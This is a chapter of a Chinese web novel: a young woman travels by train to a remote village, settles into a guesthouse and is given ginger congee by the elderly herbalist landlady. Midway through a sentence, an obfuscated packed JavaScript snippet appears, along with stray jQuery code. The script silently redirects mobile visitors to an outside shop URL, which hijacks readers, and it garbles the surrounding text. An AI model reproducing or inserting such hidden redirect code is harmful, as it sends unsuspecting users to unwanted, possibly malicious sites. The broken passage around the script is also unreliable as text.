清晨,火车穿过麦田,禾穗坐在其中一节。
她塞耳机,不显眼的外衣长裤包住纤细的四肢,因为畏寒,在空调房里,禾穗总比常人要多套两层。
此行旅途的终点是叫“盛夏”的小村庄,她得先在清城下车,再转两小时大巴。
说实话,这是禾穗第一次去到完全不了解的地方旅行。
她会待多久?接下来又会去哪儿?
一切都是未知。
也正是这种未知,又隐隐地让她感到有些兴奋。
午餐时间,车厢弥漫着各种泡面的味道,禾穗坐在角落啃牛角面包,矩形车窗外,闪过大片绿影。
车内陈设有些老旧,抬头可见发锈的扶手和铁窗边缘。
幸好禾穗很擅长脑补,她开始幻想着,一片嫩绿的叶子穿过玻璃,伸进车厢,开始极速地生长,很快,火车墙壁被新长出的绿枝包裹,连脚下也开满苔藓和野花。
没过多久,整节车厢的走廊、天花板、卧铺的梯子都爬满了各种植物,此刻,人们就在一栋会移动的森林列车里走来走去。
“妹妹,能让我坐会儿吗?”
一个端着泡面的男人突然出现。
「Fantasy moment」终止。
其他座位都被埋头吃面的人士占用,禾穗起身,感觉悬在头顶的泡面叉子随时会落下,就像命运的达摩克利斯之剑?。
她的铺塌在中间,禾穗抓着爬梯,拿过自己的黑色背包。
“妹妹去上学啊?”可能瞧她老实,男人将一次性叉子固定在泡面桶上,边等泡面边和她聊天。
“旅行。”
“去哪儿玩啊?”
“南方。”
男人憨笑:“这车往南开,我当然知道你要去南方,你就自己吗?没和家长一起?”
禾穗无语地答:“我快三十了。”
“啊?”男人极为诧异:“我以为你还在上学呢。”
没再理这人,禾穗走去两节列车的连接处,从背包侧袋摸出半罐无花果干。
那天早晨,被打翻的无花果包装盒上的小山村无意间闯入禾穗的视野。
无花果的味道很好。
她找到卖家页面,青山、麦田、安静的巷子和湛蓝的天空,感觉是个让人忘不掉的地方。
经营店铺的人也在经营民宿,禾穗被那间绿白相间的小院,以及窗外充满生命力的山林所吸引。
“离开这儿去看看吧,”
心底有这样的声音对自己说。
记得出发的前一天,禾穗在楼梯间碰到了楼上的女人,女人喝醉了,眯起眼看了看禾穗。
女人和禾穗为她设计的模样不太一样。
作为典型婚姻剧情的女主,她本以为女人会素面朝天,衣着保守,被生活磨掉了颜色,可女人偏偏红发耀眼,妆容精致,穿的很时髦。
一只空了的高脚杯搁在她闪着细钻的高跟鞋旁。
女人抬了抬下巴:“你是住我楼下的吧,我们这些烂事儿你应该都听到了吧?”
她语气没有指责,只是带了点自嘲。
禾穗以为自己会对她控诉:知道每天被你们的噪音骚扰有多痛苦吗?!
但她还是下意识撒了谎:“我这两天不在家。”
女人打了个酒嗝,醉眼半睁。
“放心吧,以后你听不到我们吵架了,我决定离开了。”
禾穗似乎并不诧异。
她说:“我也是。”
女人愣了愣,笑着举起酒杯对她说:“那么,祝我们都自由。”
***
列车靠站时,禾穗在自己的卧铺发现了一袋东西,大白兔奶糖,芥末口味。
她回头寻找,车窗被人从外头敲了敲。
是那个被她让座的旅客。
他笑着指了指糖,挥手在跟她道别。
***
盛夏村坐落在一片原始森林旁,村子不大,但路并不好走,从大巴下来,需要再打车才能抵达。
村口竖立着“有熊路”的指示牌,把禾穗吓得不轻,忙问司机:“这里有熊吗?”
司机笑着解释:“‘有熊’是捐助这条路的人名啦!”
出租车开走后,禾穗向村口小卖部的爷爷打听民宿怎么去。
爷爷叽里咕噜说了串方言,像是进入听力测试环节,禾穗连蒙带猜,最后靠手势破案,懂了,这个村子只有自行车和摩托能骑。
幸好这时从店里走出个圆脸阿叔,普通话还算利索,爷爷急得满脑门子汗,忙抓过阿叔,让禾穗问他。
“请问‘盛夏之屋’怎么走?”
阿叔愣了下:“啥子屋?没听说过噻 !”
禾穗划亮手机,放大上面的照片。
“啊,是优子家啊!从这儿过去有点远哟,”阿叔看了看她的天蓝色行李箱,“这样吧,你骑小黑驴去噻!”
“小……黑驴?”
阿叔笑笑,推过来他的老式二八杠自行车,拍了拍车座。
阿叔帮她把行李箱固定在自行车后座,禾穗问道:“房东是个什么样的人呀?”
“优子阿奶嘛?脾气好得很!我们村里小路多,这样,我给你画个地图吧!”阿叔笑着回屋撕了张旧挂历。
盛夏之屋在森林和小山环绕的地方,一条名为“小满”路的尽头。
禾穗说:“我放完行李就回来还车。”
阿叔表示不用,他阿弟下午在优子家,等会儿让他骑回来就行。
乡村小路石子多,禾穗蹬了几次才够上自行车的座,歪歪扭扭地上了路。
她听到后面传来爷爷咯咯的笑声,还有句方言,应该是提醒她小心一点。
驶过大片的油菜花田埂,金色从两侧退开,过了田埂,又进入段窄路,大车进不来,两旁天然长成高大的银杏树、梧桐树、柏树,还有许多禾穗叫不出名字的树,枝叶在头顶像是拱门。
前方,小路蜿蜒至森林深处。
风将禾穗头上的圆帽子掀到后背,长长的头发散了开,衣角在座椅后方翻动,她紧紧握着车把,感受着车轮碾过碎石带来的细微震动——
这震动自手心传遍全身,让她战栗,仿佛要唤醒身体的每颗细胞。
她似乎正与周围连成一体。
风、阳光、蓝天、森林、田野、......空气中混合着叶子香、鼠尾草和清新的泥土气,一切,那么鲜活。
陌生而近乎狂喜的自由感,让禾穗想要大声呼喊!
她有种感觉,自己快要被这阵风吹起来了!
***
“滚滚滚!老子不要你的猫!”
院内传来声怒骂:“让你忌嘴忌嘴!你不听!”
“两副药就能好咯,你拖着拖着!”
禾穗拿着阿叔手绘的地图,停在小院门前。
透过院子里的花影,木屋地板上,从左到右坐着三个身影:老头儿、中年男人和青年。他们齐刷刷地垂着脑袋,坐姿规矩得像挨训得小学生。
女人正抡着卷成棍的报纸,挨个往他们头顶上敲。
“优子阿奶!”坐在中间的青年抱住脑袋,哎呦哎呦地站起身:“我们不敢啦,您别打咯!”
老头趁机放下怀里的东西,“这十斤肉您就收下吧,再不给药钱,我们祖孙三代都过意不去咯,还有这猫崽儿,别看瘦,乖得很,长大漂亮着嘞!”
“把你的猫拿走!”优子阿奶声音干脆。
青年刚溜到院外,就瞧见禾穗骑来的二八杠,亲切喊了声:“小黑?”
他应该就是村口阿叔的弟弟,禾穗说明了情况,青年点点头,问她:“你找优子阿奶做啥嘞?”
“我......住这儿。”禾穗答得简短。
“你要和优子阿奶住?”青年双眼瞬间瞪得溜圆。
“谁和优子住!”老头儿拄着拐,激动地跟出来,听见这话,便将怀里的奶猫儿高兴地塞给禾穗:“那这猫儿归你咯,我们走吧!”
奶猫是只三花,刚断奶的样儿,躲在禾穗怀里嘤嘤。
把这小奶猫丢了也不是,禾穗只好揣着,战战兢兢进了小院。
院子没设围墙,只用藩篱与四周田梗简单隔开,村里大部分人家都是如此。木屋两层高,收拾得雅致干净,很有中式气息。
院内种着绣球、西府海棠、葡萄藤,还有无花果树。
“谁让你把猫抱进来啦?”
木屋里的女人约莫有七十岁,面色红润,眼神清亮,一头银发梳成两股麻花辫,古灵精怪的老神仙模样。
“他们......”
禾穗乖乖应答,刚回头,那祖孙三代已跑远了。
田埂上,青年蹬着二八杠载着爷爷,爸爸在后头气喘吁吁地喊:“龟孙子,滚下来!让老子上去!”
爷爷听到龟孙俩字,抄着拐棍在打追过来的爸爸。
“那是德福一家,” 优子转而问她:“怎么,你也来看病?”
“不是,”禾穗眨眨眼:“我在网上定了您的民宿。”
“这样啊,进来吧。”
不过说起看病,禾穗这些天没休息好,加上列车上空调开的太低,感觉不大舒服。
“那个,”禾穗站在门口:“请问我们这儿有药店嘛?”
奶奶回头瞅了眼禾穗的脸色:“你多大了?”
“28.”
奶奶意味不明地摇摇头。
“过来坐。”
禾穗换了鞋。
这是间宽敞的中式居所,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801412|210634||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
墙上挂了幅苍劲有力的毛笔字。
上联:“凡气不死你的都能让你更强大。”
下联:“凡逼不疯你的都会让你更佛系。”
横批:“日日是新日。”
客厅布置得很有禅意,矮木茶席、蔺草垫、檀木熏香,空气弥漫着淡淡的草药味,最大的那扇窗能看到云雾中的山景。
窗台上放着手工事物,毛绒向日葵、蘑菇小灯、微缩绿植,还有捧着松果的木雕小松鼠。
客厅另一侧应该是房东奶奶的寝室,以蒲帘隔断。
顺着房东的脚步,禾穗在客厅的矮桌前停下。
“手。”
坐下后,禾穗将左手伸过去,房东奶奶面无表情,拿了个棕色脉垫枕在禾穗手腕处。
阿奶指尖轻搭上去,只见她时而蹙眉,时而摇头,时不时还叹口气。
“您是……中医?”禾穗小声问。
阿奶闭眼不语,足足一分钟后。
禾穗又问:“请问我怎么样?”
“右手。”
这次,奶奶的摇头频率更高了。
号完脉,优子问:“去药店做什么?”
禾穗说:“我想买点感冒药。”
“不用去药店,”优子说,“姜就行。”
“姜?”
“没错。”
“把姜……吞下去嘛?”禾穗比划着了个咬的动作。
优子良善地看她:“吞得下就尽情吞吧。”
“.......”
“姜切碎,熬成浓浓的汤,和葱白和糯米一起熬煮,再加点陈醋和红糖,这是道药膳,也叫神仙粥,喝下去能发散风寒,温通阳气。”
禾穗眨眨眼:“然后呢?”
“然后,盖好被子睡觉。”
“......我身子有没有什么问题?”
“没啥问题,”
禾穗正要放松下来。
“当然了,”优子忽然背过她,声音悠悠飘来,“对情况不太妙的病人,我一般都先这么安慰。”
“……”
“房间在二楼,钥匙给你。”优子将那枚铜制钥匙交给禾穗,“一楼厨房、客厅都可以用,外面的蔬菜和水果,你平时都可以采来吃。”
***
禾穗头回住头顶尖尖的房子,觉得新奇无比。
推开圆拱形木窗,前方是望不到边的麦田,大片新绿在阳光下闪耀。
远处可见起伏的青色山脉,还有蓊郁的森林。
禾穗趴在窗边,深吸了口气。
四下极静,她几乎能听见世界展开的次序。
木扉推开的吱吖、房檐下鸟儿的飞簌......而后,是风行走在麦田的声音。
最后是那些不可见的,轻盈的、富有节奏感的呼应。
是禾穗身体里发出的——
心跳与呼吸。
不知这样定格了多久,禾穗才从这放空的状态里醒过神。
她睁开眼,决定先把屋子收拾出来。
行李箱装的东西不多,先取出的,是几本边角磨得发白的书。窗下就有小桌台,很惹人喜爱的胡桃色,指尖从上面滑过,能触到木头温润细腻的纹理。
禾穗将书摆好,接着拿出茶杯、笔记本、洗漱用品、眼镜盒、尤克里里……
收拾得差不多时,门外响起了轻轻的叩门声。
禾穗走过去,拉开房门。
是优子奶奶。
她端着竹木托盘站在门外,托盘上有只陶泥小碗。
“趁热喝下去吧,”优子将托盘递给她。
那泥碗模样拙朴,碗口还画了只憨态的小猫咪,想起优子先前对猫避之不及的模样,禾穗心里掠过了一丝好奇。
等她接过托盘,优子转身下了楼。
姜米粥熬得晶莹剔透,米粒几乎化开,红糖的甜,压住了老姜的锋利,只剩细微的辛,顺着舌尖慢慢散开。
她一勺一勺喝下去,那股暖意从喉咙滑进胃里,再缓缓蔓延到四肢,不过一碗粥的功夫,后背竟微微沁了层薄汗,积压的寒气仿佛也被逼了出来。
禾穗动了动指尖,手心也变得暖和多了。
不知何时,外面落了雨,淅淅沥沥的。
想起优子的叮嘱,禾穗乖乖钻进被窝,平躺下来。
被角带着晒过的棉布气息,连日奔波的疲惫渐渐被雨声抚平,让她很快有了困意。
再醒来时,屋里换了种颜色。
窗外大片的火烧云,金色、橙红、浅紫,在远山和云层间缓缓流动,霞光沿着窗棂间漫步而入,走到床沿,停在她的脸上。
直到最后一丝光线隐入地平,禾穗才回过神来,这才惊觉身子变得神清气爽,上午的胸闷感近乎消失了!